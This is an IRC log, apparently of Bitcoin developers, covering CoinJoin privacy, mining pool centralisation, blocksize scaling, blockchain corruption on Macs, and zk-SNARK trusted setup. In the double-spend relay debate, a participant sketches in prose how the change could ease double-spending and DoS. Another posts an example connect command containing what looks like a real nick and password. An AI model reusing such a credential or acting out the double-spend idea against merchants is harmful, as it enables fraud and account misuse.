02:08 < andytoshi> yeah, so this is a more useful thing to wonder about than "how tightly coupled are all the outputs of this specific transaction"
02:08 < gmaxwell> interestingly, even when paying someone without coinjoin the number of players is 2 and we can talk about the coupling in the change output(s).
02:09 < gmaxwell> though the most entropy we can have in a single output when there are only two players is 1 bit.
02:10 < andytoshi> here is a selfish question: if we take the definition of diversity from page 2 of http://arxiv.org/pdf/1307.1897.pdf , can we describe this coupling as a diversity?
02:10 < andytoshi> (it is selfish because if the answer is yes, then i can perhaps finangle a publication while still doing something useful for bitcoin)
02:12 < andytoshi> describe some measure of coupling*
02:13 < gmaxwell> I must confess, the first sentence of the abstract triggered turboencabulator-detection for me.
02:14 < gmaxwell> ( https://www.youtube.com/watch?v=rLDgQg6bq7o )
02:15 < andytoshi> hahaha
02:16 < andytoshi> what is meant by that claim is, "this is used by biologists for some tree-calculation something", which is true but not anything i know anything about
02:16 < andytoshi> i admit, the core of that paper is almost cartoonishly "mathematicians inventing problems for no reason except to have fun solutions"
02:19 < andytoshi> but here is a paper relating this stuff to flow problems: http://arxiv.org/abs/1312.5408
02:19 < andytoshi> so i am not blowing smoke when i suggest that it's applicable :)
02:20 < gmaxwell> I think for any of this stuff you could imagine some hypothetical 'mixer' with perfect knoweldge of the inputs to output mapping, and just measure the entropy of his knoweldge. It gets more interesting when you consider graphs with many coinjoins.
02:20 < gmaxwell> esp if the many coinjoins are not wired up like a switching network, so that the inadmissablity of multiple inputs later deanonymizes earlier coinjoins.
02:20 < andytoshi> yeah, i think that's the most useful thing for the joiner itself to output
02:21 < andytoshi> but if, for example, some output always winds up matched to a certain input, the owner of that output would like to know this
02:22 < gmaxwell> yea. indeed. though at least that can be solved purely locally.
05:59 < gmaxwell> I mean, I think I now have a mental model to predict miner behavior somewhat... which mostly seems to work. But it basically starts with the premise that miners are uninformed and somewhat lazy. When they try to get informed they get overloaded quickly.
05:59 < warren> I haven't been paying attention to the Bitcoin pools. The first and only bitcoin pool I ever used was p2pool. The issue preventing Litecoin pools from spreading hashrate out more is there is a tiny quantity of competent pool operators capable of keeping their software secure against exploits and robust against DDoS attacks.
06:00 < warren> There existed a few massive pools in the past who killed themselves with a payout bug
06:01 < warren> and a few just don't recover from a DDoS attack
06:01 < gmaxwell> The algorithim for selecting a pool looks like: look at the pie chart on bc.i. Compare a couple of the biggest pools. Find nothing really distinguishing between them, pick the largest.
06:01 < warren> The survivors could be behind killing their competition. We have no way of knowing.
06:02 < adam3us> its puzzling indeed that there appears no model to get financing for core dev work that must happen for bitcoin to progress, despite there being $3b resting on it
06:02 < gmaxwell> p2pool almost doubled in size in the weeks following convincing bc.i to stop hiding p2pool on their chart.
06:02 < warren> percentage wise of global hashrate, how much did it peak at before?
06:02 < adam3us> gmaxwell: cant people run multiple independent instances of p2pool to scale it?
06:03 < gmaxwell> adam3us: sure, actually in the past some people have run it privately. But there shouldn't /need/ to be multiple ones to scale it.
06:03 < warren> adam3us: Litecoin Dev raised $xxk in donations, we're spending a portion of that on various things, mostly security related development that could benefit Bitcoin too.
06:03 < adam3us> (you guys should be sleeping btw:)
06:03 < warren> I know =(
06:04 < adam3us> warren: esp you if youre in hawaii
06:04 < adam3us> but yeah about dev its really rubbish and disappointing the rate of progress and funding ..
06:05 < adam3us> eg colored coin i though has a lot of potential and yet the progress has been really slow; there are some people trying to get professional funding now (company, biz plan etc) so maybe that'll create something open
06:06 < gmaxwell> the people getting funding are doing mostly terrible things, see also: mastercoin
06:06 < warren> https://bitcointalk.org/index.php?topic=320695.0 <---- Bitcoin 0.8.5 + Litecoin 0.8 patches (minus the litecoin protocol)
06:06 < adam3us> (though coloring in a way that creates bitcoin dust is something i am not keen on; must be a better way to do it with side-chains if they just thought about it)
06:06 < gmaxwell> adam3us: thinking gets in the way of spending time on posts and fundraising. :)
06:06 < adam3us> warren: that is bitcoin omg link? yes i was hyped when i saw that
06:06 < warren> gmaxwell: omg, and quite a lot of funding with zero code
06:07 < gmaxwell> warren: I liked it when I asked them to use OP_RETURN instead of their garbage addresses and got told that they couldn't because they were currently creating all their mastercoin transactions by hand in a bc.i web wallet.
06:07 < adam3us> mastercoin, yes that was terrible, and it surely will fail because of the negative regard people will hold the premine in
06:08 < gmaxwell> (I stopped complaining in public about it at that point... "okay, this is going to fail on its own")
06:08 < TD> i concluded that ages ago
06:08 < TD> the whitepaper was nonsensical
06:08 < warren> gmaxwell: they tried to hire me to work on client software. I told them to do the majority of their crap off-chain...
06:08 < adam3us> but they actually got money in a way which is disreputable
06:08 < adam3us> an yet the people doing reputable things seemingly do not
06:08 < gmaxwell> yea I ignored it initially because the whitepaper was nonsensical, then I suddenly started seeing lots of dust transactions on the network, and went searching for the cause.
06:09 < adam3us> so this is going to drive more disreputable things unless msc crashes and burns
06:09 < TD> it seems to hit the sweet spot where it seems technically credible enough to pull in a lot of suckers, but not quite credible enough to actually work
06:09 < warren> TD: pets.com
06:10 < TD> lol
06:10 < gmaxwell> adam3us: yea, look at all the altcoins (not even talking about ltc here, the zillions of other ones)... some of them have managed to monitize pretty well on the exchanges with patches that did little more than change the name of the software... its really depressing.
06:10 < adam3us> TD: to my reading the msc paper was a list of noble aspirations with no indication of how or even if they could be achieved technically, plus the disreputable invest now for big discount, limited time offer like say timeshare sales
06:11 < adam3us> the protoshares by bitshare is barely better
06:11 < gmaxwell> Or _usefully_ achieved technically. E.g. "p2p replacement for mtgox!" uhhhh..
06:11 < TD> i try to stay positive. what this shows is there's tremendous demand for cryptocurrency technology that works
06:12 < gmaxwell> s/ that works//
06:12 < TD> yes. but there's even more demand for stuff that works!
06:12 < gmaxwell> There is a tremendous demand for promises of future riches.
06:12 < adam3us> pts are not even anything, just a bitcoin alt-coin as a place holder until / if they finish coding their bitshare system, iwth a promise that you own 10% of bitshares, but they screwed up their params almost as badly as terracoin and mined 1/4 of issue in 1 week that was designed to take 3months
06:12 < gmaxwell> Something which works but due to honesty and understanding can't promise future riches... not clear there is much demand.
06:12 < TD> yeah. well. that's certainly one possibility.
06:13 < adam3us> TD: i am not sure, i had a look at the pts irc channel an it seems most of the miners had no clue why or what it is, they just wanted in early in case it went somewhere
06:13 < TD> i think people get hyped due to second order effects though. "i want this cool tech because it will make bitcoin more useful and thus more valuable:
06:13 < TD> but it's MUCH harder to build it than just promise the moon
06:13 < adam3us> the guy bytemaster? bitshares cto - was slapping out unsigned binaries on non SSL - very scary
06:13 < gmaxwell> TD: both bitshares and mastercoin have directly traded on that thinking even where it made no sense.
06:14 < gmaxwell> (claiming that they were enhancements to bitcoin, where in the case of esp bitshares I am unable to find any relationship with bitcoin at all except them exploiting the name in their marketing)
06:14 < adam3us> gmaxwell, TD: oh yes and when pts params failed, they put out misleading info saying you HAD to upgrade under somethreat to a massively revised param set; if the users had cludes they'd have forked the code and said no
06:15 < gmaxwell> adam3us: well realsolid already proved that what you can get away with is nearly boundless. An amazing history there that you missed.
06:15 < TD> yes these schemes are just ridiculous
06:15 < TD> what i mean is that whenever i go to a conference, i get mobbed by people asking "where's the contracts apps"
06:15 < adam3us> seems to me it'd be nice to get i dunno some salary equiv to what y'all can pull in industry to sit i a bitcoin lab not-for-profi
06:16 < gmaxwell> (guy created an altcoin and kept revising the rules over and over again, ... making me pretty much convinced it was an expirement in how disreputable you could make a cryptocurrency and still have users)
06:16 < TD> so i mean there's definitely a population of people that isn't just bandwagon jumping but _really_ want to see all the cool exotic features that were discussed come true
06:16 < adam3us> which'd take say $5mil/year or something to hoover up the top brains and make somewhere nice for them to work
06:16 < warren> adam3us: "slapping out unsigned binaries on non SSL - very scary" ... like cgminer!
06:16 < TD> a big part of mastercoin's marketing is claiming that the reason bitcoin doesn't have $FEATURE is that the core developers are too conservative, scared, not well funded enough, whatever
06:16 < TD> and that mastercoin resolves this problem thus bringing such features faster
06:17 < TD> warren: cgminer is AFAIK detected as a virus by now, by most AV systems :(
06:17 < gmaxwell> TD: except, you know, $FEATURE, seldom needs anything in core software.
06:17 < adam3us> TD: yes this is why i keep harping on about bitcoin staging
06:17 < TD> yes, all this stuff is obvious to us, but much less so to other people
06:17 < adam3us> and why i was psyched to see warren made a step towars it with bitcoin omg release :)
06:17 < warren> toward what?
06:17 < adam3us> bitcoin staging could keep the rapid dev within the bitcoin brand
06:17 < TD> luke used to maintain a "bitcoin next". dunno if he still does
06:17 < adam3us> bitcoin staging
06:17 < gmaxwell> And even if it did need it, you can test it without deploying it.... of course that requires writing something, or even figuring out in detail how it might work.
06:17 < adam3us> hmm link?
06:18 < gmaxwell> Luke still does.
06:18 < warren> adam3us: it isn't really staging, it was "I put all this work into litecoin, might as well make a bitcoin client"
06:18 < TD> gmaxwell: the good news is, someone stepped up to take over PayFile from me last week, and he seems to be credible - is already produced pull reqs. so I am hoping that quite soon we will have perhaps the first easy to use gui micropayments (contracts) based app
06:18 < TD> that people can actually download real binaries of, run, and use for something useful
06:18 < adam3us> i know but apart from the peg mechanism you did the work that i thought would need to be done
06:48 < TD> you mean, working on scalability, other than maintaining an entire SPV implementation ... :)
06:49 < petertodd> the real problem there is "worse is better" and things like inputs.io already exist, so even incremental imrpovements become hard
06:49 < petertodd> adam3us: meh, you can audit off-chain stuff easily.
06:49 < adam3us> petertodd: right, i think its pressing problem even if bitcoin scales for a few years, because momentum "good enuf" will push everyone onto inferior centralized solution
06:49 < petertodd> adam3us: again, an auditable, decentralized base is what you build on.
06:50 < adam3us> petertodd: right, but how
06:50 < petertodd> adam3us: yes, either "good enough" will be the worst possible off-chain solutions with no auditing at all, or SPV clients with no auditing of the blockchain and a small number of centralized full-nodes/miners
06:51 < adam3us> petertodd: if coinbase and 20 more like them rule 99.99% of tx in a few years, and they settle between them on the block chain at $1mil at the end of the day.. how is that bitcoin
06:51 < petertodd> adam3us: at least with the former you can bolt-on auditng at any time
06:51 < adam3us> petertodd: they'd just as well settle with a wire transfer
06:51 < petertodd> adam3us: simple example, you can audit that backing funds exist with merkle sum trees
06:51 < adam3us> petertodd: agree, auditability is good
06:51 < petertodd> adam3us: heck, have you read any of my fidelity bonded banking stuff? not only can you audit, you can punish fraud
06:52 < petertodd> adam3us: that's bitcoin because for $10 or $100 or whatever it ends up being you can pay that tx fee too and have equal access that anyone else does.
06:53 < adam3us> petertodd: alternatively you can add auditability to banking networks, they probably will at some point as its more secure than firewall and fiat balance in a db - at that point its all the same thing
06:53 < petertodd> adam3us: Bitcoin isn't about making things *free*, it's about making barriers to entry be based on proof-of-work and nothing else.
06:53 < adam3us> petertodd: i think what you lose is the bearer / ecash property
06:53 < petertodd> adam3us: auditability is much less interesting than decentralization of control
06:53 < adam3us> petertodd: agreed
06:54 < petertodd> adam3us: the issue isn't banks committing fraud, it's banks commiting *legal* fraud. Everyone knows currencies are inflated, it's not a secret.
06:54 < adam3us> petertodd: i made a claim that ecash is not ecash unless its irrevocable and unseizeable/unfreezable
06:54 < adam3us> petertodd: and i'm more interested in ecash that ripple iou networks which are just papalizing banking networks and will revert to form in 5 years
06:55 < petertodd> Well, worst case with 1MB blocks forever and the dumbest possible off-chian solutions is that you can make your savings irrevocable and unseizable/unfreezable. That's pretty damn good.
06:55 < petertodd> With fidelity bonded banking, you're savings are much harder to revoke or seize, because the moment you do so you can prove to the world that has happened, and the world can chose to go to another bank.
06:56 < adam3us> petertodd: yes two things: digital scarcity is a new commodity class, and separately ecash is better than a claim on a balance on a server with its bitcoin denominated or usd, block chain audited or not
06:56 < petertodd> Right, but the onus is on you to figure out how you can have your cake and eat it too, because in it's current form Bitcoin is fundementally unscalable. The "solutions" to scability are all to introduce more centralization.
06:57 < adam3us> petertodd: are you sure your funds are unseizable in a $10k dust rule network with coinbase model? you dont even have your private key...
06:57 < adam3us> petertodd: what if you dont have enough funds to pay the min fee
06:58 < petertodd> adam3us: The first $10k of your funds got seized, but your other $100k didn't. That's a huge improvement over the whole lot being seized because Bitcoin mining has long sicne become a regulated activity with blacklists.
06:58 < adam3us> petertodd: "The "solutions" to scability are all to introduce more centralization." yes so far and that is a negative and worrying tren d for bitcoins meaningful continued existence
07:00 < adam3us> petertodd: i thought chris odom opentx model showed promise as a direction; his voting pool tx servers are auditable and rebuildable by users using the sum of the tx receipts they receive
07:00 < petertodd> BTW, lets suppose Bitcoin is worth 100 trillion, and 1% of that amount every year goes to miners in the form of fees. That works out to $20/kilobyte transaction fees, rather affordable!)
07:01 < adam3us> petertodd: not bd, but how many Gbps is a full node feed ;)
07:01 < petertodd> no, I'm saying we keep 1MB blocks in that example.
07:02 < adam3us> petertodd: probably need satellite network for globalbroadcast or the interwebs will melt with many full nodes
07:02 < petertodd> Why?
07:02 < adam3us> petertodd: n^2 everyone on the planets cup of 2nd cup coffee
07:03 < adam3us> petertodd: whats the famous canadian coffee shop? maybe it was timhortons ;
07:04 < adam3us> petertodd: clearly it can scale to some extent but its less interesting if its a clearing network than a direct user network
07:04 < petertodd> oops, I got that calculation wrong... lol, $20,000/kilobyte tx fees, not so affordable. However, lets say 100 billion valuation, 1 billion a year to miners, and you're at $20/KB.
07:04 < adam3us> petertodd: if it gets that large i expect the people running the show could just as well turn off their miners and sign clearing agreements
07:05 < petertodd> (right now tx's cost about $20 already in fact due to the inflation subsidy...)
07:05 < adam3us> petertodd: yeah thats kind of scarcy... hidden cost.. people say btc costs 2c but its actually 1000x worse
07:06 < petertodd> Fucking hell, who cares how "interesting" it is for your morning coffee? What's important is that we have a solid decentralized store of value with a decent way to move it around. We can improve upon that later, but don't fuck up the base.
07:06 < petertodd> Fundemetnally we have to figure out how to make validation scale.
07:06 < petertodd> Second fundemental is we have to figure out how to make transaction selection scale.
07:07 < adam3us> petertodd: u mean validation scale is reduce the broadcast bandwidth feed fr a full node? or cpu?
07:07 < petertodd> CPU isn't very interesting, don't focus on that. Bandwidth is what's interesting because censorship-resistant bandwidth is hard to come by.
07:08 < petertodd> Censorship-resistant CPU power is availble at stores around the country...
07:09 < adam3us> petertodd: yes;; so a ultra-crude what-if is say divide the n^2 into 1000 subgroups, payments are then either in-subgroup or cross subgroup, and mergemine subgroups
07:09 < adam3us> petertodd: cross subgroup takes 2 tx but thats stil smaller than 1 tx broadcast 1000x wider
07:10 < petertodd> yup, I proposed that one a few months ago
07:11 < adam3us> petertodd: yes i think multiple people proposed the same what-if
07:11 < adam3us> petertodd: I did, vitalk did also probably others... but its not clear how well that could work
07:12 < petertodd> AFAIK I was first :P The issue actually comes up with fidelity bonded banking, because you need to ensure that proof-of-fraud can be effectively published, and you need to have proof that you know about all fraud published for some given domain.
07:13 < petertodd> Anyway, I hope we agree that until a viable system for subgroups is proposed, and it's possible to mine blocks in a decentralized fashion, it's deeply dangerous to tinker with the scalability of Bitcoin.
07:15 < adam3us> petertodd: i'm not sure - you're saying dont change anything until we know the best longer term scaling approach or the scalability patches might actually make things worse?
07:15 < adam3us> petertodd: decentralized mining... yes i think that could be a nice partial win if that could be figured out
07:15 < petertodd> adam3us: remember that we've got people in this community who want to remove blocksize limits entirely while leaving the rest of the system as-is.
07:16 < petertodd> That's the idiotic opposition you're up against, not people who have a deep understanding of Bitcoin.
07:17 < adam3us> petertodd: gotcha, yes i agree with your previous arguments that upping he bw requirements aggressively is dangerous for decentrailzation (and also why i said i'm not sure i buy the "bitcoin scales to visa" type of hand-waving - oh yes, how and at what cost)
07:18 < petertodd> adam3us: With sufficient trust you can make any pig fly. :P
07:18 < adam3us> petertodd: u know i hear swift itself is nominally p2p
07:18 < petertodd> Ha, yup!
07:18 < adam3us> petertodd: so if the way we reach visa scaling is to run 50 bitcoin nodes on a closed network contrlled by big banks i am not so intereste
07:19 < petertodd> Exactly. And in between now and that, there's a lot of trade-offs.
07:19 < petertodd> 10MiB blocks aren't so, bad, 100MiB kinda iffy etc.
07:20 < adam3us> petertodd: we need something fundamental new insight .. the picture so far is moderately clear, but no clear path forward is in sight
07:20 < petertodd> Now where the "just remove the limits entirely" thing is so obnoxious is that the basic idea, just let miners chose, is such a fundemental misunderstanding of the nature of validation and trust in Bitcoin.
07:21 < petertodd> of course there's no clear path forward, every path has different costs to different people!
07:22 < adam3us> petertodd: u might wonder if there is some moderate incremental scalability gain lurking in using accumulator tree vs hashtree
07:22 < petertodd> heck, there's a decent enough chance that nothing at all will happen and Bitcoin will remain, technically, identical to it's current form for a long, long time.
15:40 < phantomcircuit> i stand corrected
15:40 < phantomcircuit> that's actually pretty huge
15:40 < petertodd> Yup, it's was also the original blocksize limit.
15:40 < petertodd> which makes me think satoshi hadn't planned for one at all...
15:44 < sipa> petertodd: gavin fixed what?
15:44 < midnightmagic> ^^ by the way, gavin, if you use as the freenode IRC server password your nickserv authentication details you don't get the changing host thing.
15:44 < petertodd> sipa: his original rejection message patch let an attacker put fake entries into your log file
15:45 < petertodd> sipa: didn't filter out newlines :/
15:45 < gavinandresen> midnightmagic: how do i "use the freenode IRC server password"
15:46 < gavinandresen> IRC passwords are still a mystery to me, is there a clear explanation of which password does what somewhere?
15:46 < midnightmagic> gavinandresen: One sec..
15:46 < MoALTz> midnightmagic: edit server, server password in xchat right?
15:47 < midnightmagic> Yes. The IRC server password. You construct it like so: NickName:NickservPassword
15:47 < gavinandresen> midnightmagic: okey dokey. What is the Username then?
15:47 < midnightmagic> http://freenode.net/faq.shtml
15:47 < midnightmagic> No username. There should just be a password field.
15:48 < midnightmagic> http://freenode.net/faq.shtml#nicksetup <-- there it is.
15:49 < midnightmagic> In plain irssi, for example, you would connect with: /connect chat.freenode.net 6667 mquin:uwhY8wgzWw22-zXs.M39p or your deets in place of..
15:49 < midnightmagic> there you go. I think that did it.
15:50 < MoALTz> midnightmagic: what happens if your zombie hasn't disconnected yet?
15:50 < gavinandresen> mmm. Colloquy UI is confusing, it gives me Username and Password for server connection
15:50 < midnightmagic> MoALTz: It's not foolproof. In the event of a netsplit I think something weird happens then.
15:50 < gavinandresen>
and isn't smart enough to do the nickname:password thing, I guess
15:50 < midnightmagic> nah it's a freenode-ism I think.
15:51 < gavinandresen> that was my mistake, then-- looking at IRC help instead of FREENODE help....
15:51 < midnightmagic> MoALTz: Also I don't know what happens with zombies..
15:52 < midnightmagic> gavinandresen: znc, the bouncer I use, also uses that style to authenticate individual users and log them in to a user session. In znc, the server configuration line just has something like this: 2610:150:2c68::d0:dab:1de5 +6697 midnightmagic:MyNickServPasswordItsALongOne
15:56 < warren> Luke-Jr: jgarzik: it is not only ACK'ed things, it tests not-yet-approved things if we think it's a good idea and we tested it.
15:58 < amiller> MyNickServPasswordItsALongOneAlsoHighEntropyEjKRUaOJPo
15:59 < phantomcircuit> gavinandresen, colloquy like most os x software makes it impossible
15:59 < warren> well crap, someone reports the OMG build still corrupts on macos x
16:00 < gavinandresen> warren: mmm. I got corruption running git HEAD, so that doesn't surprise me
16:01 < petertodd> warren: sheesh, I ran a bitcoin node for months on a computer with such flaky ram I couldn't get firefox to work for more than an hour at a time and it never corrupted the blockchain once :/
16:01 < warren> gavinandresen: corrupted even after a clean shutdown of bitcoin?
16:02 < gavinandresen> warren: was probably a dirty shutdown
16:02 < petertodd> warren: maddening how some stupid fs sync crap has a bigger effect than that ram
16:04 < sipa> petertodd: i doubt the corruption problems we're seeing are related to flaky hardware
16:04 < sipa> or at least, some
16:05 < petertodd> sipa: exactly my point; hardware/os lying about syncing is more of a threat than the hardware not working at all
16:06 < warren> It isn't clear if the corruption is only on certain versions of the OS.
16:06 < warren> I've seen most reports on 10.8+
16:06 < warren> one report on 10.7
16:07 < warren> none on 10.6, which might mean nobody is using 10.6?
16:08 < petertodd> warren: any chance the people on 10.6 are using different hardware than 10.7? (dunno nuthin about macs myself)
16:08 < gavinandresen> warren: I'm running 10.7
16:09 < petertodd> FWIW I did a SSD write corruption test a few years back at work, and I did find a SSD drive brand that lied about data syncing, so it's quite possibly a hardware thing related to some choice Apple made.
16:11 < warren> indeed, some brands of SSD are notorious
16:13 < warren> gavinandresen: what hardware? apple provided HD/SSD?
16:13 < warren> gavinandresen: FWIW, our mac dev and coblee have *never* experienced corruption
16:13 < petertodd> warren: yup, and sadly this could just be some choice Apple has made that's far from easy for us to deal with.
16:13 < gavinandresen> warren: I have no idea, I bought this mac used. I got corruption on both the SSD and the spinning disk.
16:18 < warren> gavinandresen: at this point are we willing to post a bounty on this? "Reproduce corruption on demand, explain why it is happening." and separately "provide a fix that passes bitcoin dev approval"?
16:18 < gavinandresen> warren: sure, if you're willing to hold the money and judge the 'approval' go for it
16:19 < petertodd> gavinandresen: re: relay first double spend, you relaying the whole double-spend tx?
16:19 < warren> gavinandresen: where can the money come from? we can pledge some from our funds
16:20 < gavinandresen> petertodd: yes, relaying the first double-spend as if it were the first spend
16:20 < sipa> with a different message?
16:20 < petertodd> gavinandresen: what happens if the first double-spend was a 200byte tx, and the second a 100KiB tx?
16:21 < gavinandresen> petertodd: then 100,200 bytes get relayed across the network
16:21 < gavinandresen>
assuming that both pass the IsStandard tests.
16:21 < petertodd> ugly...
16:21 < gavinandresen> simple
16:22 < petertodd> 500x cheaper to DoS the network. OTOH I like how this makes it easy to do replace-by-fee.
16:22 < gavinandresen> sipa: what do you mean, "with a different message" ? No, just a normal inv / tx
16:22 < gavinandresen> (inv / getdata / tx)
16:22 < sipa> hmm, but without taking it into the mempool
16:23 < gavinandresen> petertodd: 500x ??? You can broadcast 100K transactions now. This will make it at most 2x times easier to try to DoS the network.
16:23 < sipa> i'm not sure it's advisable to relay a transaction we're not considering valid ourself
16:23 < petertodd> gavinandresen: No, 500x, because I'm only paying for the bandwidth of the 200 byte tx. (or actually, even smaller than that is possible)
16:23 < gavinandresen> sipa: right, does not go into the mempool
16:24 < gavinandresen> sipa: the whole point is to broadcast it so that accepting-payment-in-person merchants will see the invalid transaction and can react
16:24 < petertodd> gavinandresen: Probably not an issue in practice, because someone will do replace-by-fee mining, but then that kinda defeats the purpose in a way...
16:24 < sipa> gavinandresen: right, which is why i'd use a different message
16:25 < warren> gavinandresen: is the foundation willing to add funds to such a bounty?
16:25 < gavinandresen> sipa: that just complicates the code unnecessarily
16:25 < warren> we can ask for public donations too
16:25 < sipa> to 1) make it clear that we're not actually considering this one valid and 2) make old nodes ignore it
16:25 < sipa> then again, nothing prevents someone from taking a faketx message and broadcasting it as a t
16:25 < sipa> as a tx
16:26 < gavinandresen> sipa: exactly, the code you'd write is exactly the same
16:26 < petertodd> sipa: Interesting thought: I can use this to broadcast a replacement, and because it's a standard inv, any miner who didn't get it the first time for some reason, and doesn't have it in their mempool, will get the second one. If the second one is a higher fee, maybe this time they'll accept it!
16:27 < sipa> yes, it may have unintended replacement effects
16:27 < sipa> giving a double spend higher chances for being mined than before
16:27 < gavinandresen> again, the reason for doing this is 0-confirmation transactions for merchants monitoring the chain.
16:27 < sipa> that's why i'd prefer not doing it the same way
16:27 < gavinandresen> err.. monitoring the network....
16:27 < sipa> i'm pretty sure it will lead to double-spends becoming easier :)
16:28 < gavinandresen> Easier-but-easier-to-detect is fine
16:28 < petertodd> sipa: Yeah, e.g. it makes it even easier to double-spend by broadcasting a, say, satoshidice tx, then waiting for my reply, then broadcasting a double-spend that doesn't involve satoshidice - I havea 10% chance of it getting mined by eligius without even needing to contact them directly.
16:28 < petertodd> Heh, funny thing I'm definitely going to ACK that patch because it's a step towards replace-by-fee and pure-profit-driven mining.
16:29 < sipa> petertodd: i'm in the middle about that, but imho the client should try to get peers to do the same
16:29 < sipa> so if you're doing replace-by-fee, i'm perfectly fine with it being the same tx message
16:29 < petertodd> sipa: get peers to what exactly?
16:30 < petertodd> sipa: ah, yeah, replace-by-fee would definitely use the same tx message
16:30 < gavinandresen> sipa: 0-confirmation double spends are pretty easy today. I'm completely convinced early detection is more important than trying to prevent them.
16:30 < sipa> but if you're explicitly not considering a transaction valid, i don't like making it seem to others that you do
16:30 < sipa> gavinandresen: fair enough, i agree there
16:30 < gavinandresen> Lets debate replace-by-fee separately...
16:31 < warren> crap, two reports of corruption after a clean shutdown...
16:31 < warren> this makes no sense
16:31 < petertodd> gavinandresen: Well, the beauty of this is it lets miners decide for themselves given they now can easily get the replacement with no effort.
00:23 < gmaxwell> maaku: "You can spend these coins if you solve my puzzle" "psyche... I just spent them out from under you even though the code said I couldn't because I can create false proofs for this verification key."
00:24 < gmaxwell> amiller: the upside is removing the CRS the downsides are that the proofs are much larger (tens of kilobytes) and the zero-knoweldge is no longer perfect.
00:25 < amiller> i see.
00:26 < gmaxwell> amiller: well I'm glad your koolaid tap on the CRS stuff ran out. I dunno why everyone thinks its so acceptable.. it is in some cases, not others.
00:26 < gmaxwell> What they're talking about doing in zerocash I think its completely unacceptable.
00:26 < gmaxwell> then again, for that application 20kbyte signatures is probably also unacceptable.
00:27 < amiller> how far do you think they can smear around the anytrust kind of setup
00:27 < gmaxwell> (and for that matter, q-power knoweldge of exponent, bilinear pairing stuff is by itself probably unacceptable)
00:27 < amiller> that was a question someone asked, matt green answered affirmatively, i didn't seek any details
00:28 < gmaxwell> What was?
00:28 < amiller> whether you could distribute the setup among N parties
00:28 < gmaxwell> yea, I think thats half BS
00:28 < amiller> where any of the N parties has to delete their data
00:28 < amiller> okay
00:29 < gmaxwell> I don't know of any systems for _active_ secure MPC that don't themselves require a zk-snark, certantly none that are implemented.
00:29 < gmaxwell> (you can take any semi-honest-secure MPC scheme and make it active secure if you make all the players do their work under ZK-proof that they're obeying with the protocol)
00:29 < maaku> gmaxwell: i see
00:30 < gmaxwell> It's possible in theory at least. But what does N need to be? and where is even a beginning of an implementation? even with just three parties it would be the largest MPC task ever attempted.
00:30 < amiller> yeah everything attempted in practice so far has been semi honest
00:30 < amiller> afaik
00:31 < gmaxwell> Yes, as far as I can tell. And I think we have a chicken and egg problem here. We have almost pratically efficient snarks actually implemented but in the CRS model.
00:31 < gmaxwell> You could, in theory, make the CRS with MPC. .. but active secure MPC that looks remotely pratical is a passive MPC + SNARKS.
00:32 < gmaxwell> and the CRS computation isn't horrible but there is a lot of it ... for zerocoin they're talking about 1.6GByte prover keys (which actually sounded small to me).
00:33 < gmaxwell> So somehow you've got N party active secure MPC and you're going to compute 1.6 gbytes of CRS in it?
00:33 < gmaxwell> And realistically I think N can't just be 3. Start talking about 30 and thats more interesting.
00:33 < amiller> yeah. i came to that conclusion pretty quickly too
00:34 < amiller> sell tickets to the big setup phase MPC as your fundraiser gimmick!
00:35 < gmaxwell> I mean there are neat things you can do... one of the mpc nodes should be in a faraday cage in a bunker filled with C4. And you should exploide it when the computation is finished. People would pay to see that. :P
00:36 < amiller> david blaine could do one too
00:36 < gmaxwell> the undetectable compromise part is part of what makes this so bad for ZC where it wouldn't be an issue elsewhere.
00:37 < gmaxwell> lots of room for fud.
00:37 < gmaxwell> "NSA supercomputer cracked the crypto to recover the key whole cloth, and now the US government can print unlimited coins! Prove me wrong!"
00:38 < gmaxwell> at least if it were detectable you could freeze new spends and deploy another ZK proof system (perhaps a less efficient one)
00:39 < amiller> i learned about a formalism called "covert security" that's weaker but promises detection like that...
00:39 < amiller> but i couldn't find any trace of someone actually getting any cheaper construction that way
00:40 < gmaxwell> well the GGPR12 stuff is super brittle to knowing the CRS. Its easier to compute a fake proof than validate a proof if you know the CRS.
00:41 < gmaxwell> and I think the way the perfect zero knoweldge is achieved it must be that way.
00:42 < gmaxwell> (because you can basically show that for any set of passing input group elements some CRS exists thats makes those element a valid proof, regardless of the statement being true or not)
00:44 < gmaxwell> In any case, Iddo has given me the impression that I'm not the only person who's seen the limitations of the CRS model.
00:46 < amiller> i've seen some modifications to CRSs to make them more useful and composable but not that get rid of the trusted/private state somehow
00:47 < amiller> i don't have any idea what comes next
00:52 < gmaxwell> amiller: why not post to the http://www.scipr-lab.org/ mailing list and whine about the CRS trust assumptions and ask what they're going to do about them? :P
00:52 < gmaxwell> As I said, I /think/ they're also working on a backend without one. But I don't know anything about it as it's not mentioned in their papers on their tinyram work.
03:01 < nsh> gmaxwell, if it helps, didactically, you can compare the security of the CRS model to the security of DUAL_EC_DRBG....
03:06 < gmaxwell> Hm!
03:06 < gmaxwell> point.
06:17 < adam3us> gmaxwell: so while i agree that H(nonce)[rand(32)] ^ prefix is an interesting incremental improvement of raw prefix, with an example 8-bit prefix, and [] being byte index, ^=xor, it still publicly allows elimination. ie with probability (255/256)^32=88% it eliminates you as a payee of any given reusable payment.
06:17 < adam3us> gmaxwell: (posted this and related on bitcoin-dev)
07:56 < jtimon> somebody claimed here (I don't know if it was you maaku), that some people were suspicious about scrypt being GPU mined from the beginning
07:57 < jtimon> does anybody have any reference to that?
08:04 < jtimon> hmm, is this it? https://bitcointalk.org/index.php?topic=63365.0
08:04 < jtimon> I'm considering mentioning rumors about it and putting a link on an article about p2p currencies I'm finishing
08:07 < jtimon> I don't know...wasn't coinhunter a scammer?
08:07 < jtimon> "Artforz publicly admitted to creating a GPU miner for litecoin numerous times" any link to this?
08:08 < jtimon> I'll keep searching, just browsing out loud in case anybody can give me some clues or a better link
09:17 < Emcy> hmm apparently GCHQ couldnt crack truecrypt with the password "$ur4ht4ub4h8"
09:17 < Emcy> they had to sling the guy in jail and sweat it out of him
09:18 < Emcy> isnt that a weak password? Is that a bit surprising.
09:18 < adam3us> jtimon: ha thats pretty interesting the guys claim seems quite plausible. casts coblee / artforz in a bad light if so. i was before now supposing the failure of scrypt params chosen to be yet another alt param fail on their part. but maybe it was a "fail" ie not real! they designed it that way and exploited it to the max until someone else figured it out
09:18 < adam3us> Emcy: yeah i saw that.. my thoughts also, we have nothign to worry about :) combined might of GCHQ cant crack that short/low entropy password.. chortle.
09:19 < adam3us> Emcy: what we dont know however is the program used. maybe it has some memory hard stretching or something preventing fpgas or whatever gchq has
09:19 < Emcy> and yet a skilled cracker with a good custom dictionary and a handful of radeons might
09:20 < adam3us> Emcy: if it was unstretched, for sure; lot of former gpu miners coul crack that with their own cards!
